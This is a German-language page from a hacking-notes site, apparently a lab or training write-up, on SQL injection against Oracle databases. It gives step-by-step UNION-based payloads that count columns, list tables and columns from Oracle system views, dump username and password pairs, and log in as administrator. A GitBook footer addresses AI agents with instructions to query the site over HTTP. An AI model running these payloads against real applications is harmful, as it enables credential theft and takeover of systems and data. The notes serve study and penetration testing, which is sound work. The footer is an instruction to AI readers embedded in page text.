> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/database-enumeration-on-oracle.md).

# Aufzählung von Oracle-Datenbanken

### SQL-Injection-Angriff, Auflisten des Datenbankinhalts unter Oracle

* **Kontext / Schwachstelle:** `Kategorie` Für SQL-Injection anfälliger Filter (Ergebnisse werden in der Antwort zurückgegeben). Verwenden von `ORDER BY` / `UNION` ermöglicht das Auflisten und Extrahieren von Daten aus Oracle-Systemansichten.
* **Ziel:** Identifizieren Sie die Benutzertabelle, listen Sie ihre Spalten auf, extrahieren Sie `Benutzernamen` / `Passwort` Paare und verbinden Sie sich als `Administrator`.

### Knapp zusammengefasste Schritte (bereitgestellte Payloads)

1. **Anzahl der Spalten bestimmen**/ Test `ORDER BY` schrittweise bis zum Fehler:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. UNION SELECT validieren (gleiche Anzahl an Spalten wie die ursprüngliche Anfrage):

```sql
' UNION SELECT '1','2'-- -
```

3. **Tabellen auflisten (Oracle)** — verwenden Sie `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Anpassen `NULL`/Anzahl der Spalten entsprechend der verwundbaren Abfrage.)

4. Spalten einer identifizierten Tabelle auflisten (hier USERS/ JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Hinweis: Oracle normalisiert Namen, die nicht in GROSSBUCHSTABEN aufgeführt sind.

5. Inhalt extrahieren (Dump) — Beispiel mit identifizierten Spalten:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Reihenfolge/Typen anpassen; verwenden Sie `TO_CHAR`, `CAST` oder `NULL` um die Typen bei Bedarf anzugleichen.

6. **Admin-Login**

* Verwenden Sie die exfiltrierten Zugangsdaten auf der Anmeldeseite.
* Oder führen Sie bei Bedarf einen Authentifizierungs-Bypass aus, sobald die Spalten bestätigt sind.

Nützliche technische Details

* Wenn UNION aufgrund unterschiedlicher Typen fehlschlägt, ersetzen Sie Spalten durch null oder TO/ CHAR(col), um die Kompatibilität zu erzwingen.
* Metadaten-Ansichten (ALL/ TABLES, ALL/ TAB/ COLUMNS, DBA/ /\*) können durch die Berechtigungen des DB-Kontos eingeschränkt sein; der Zugriff variiert je nach Anwendungsrechten.
* Oracle verlangt für Vergleiche oft Namen in GROSSBUCHSTABEN für table/ name = 'USERS/ JREIFY', sofern die Tabelle nicht in Anführungszeichen erstellt wurde.

Auswirkungen

* Kompatibilität der Bezeichner, erweiterter Zugriff, Datenexfiltration/-änderung, vollständige Kontrolle über die Anwendung.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
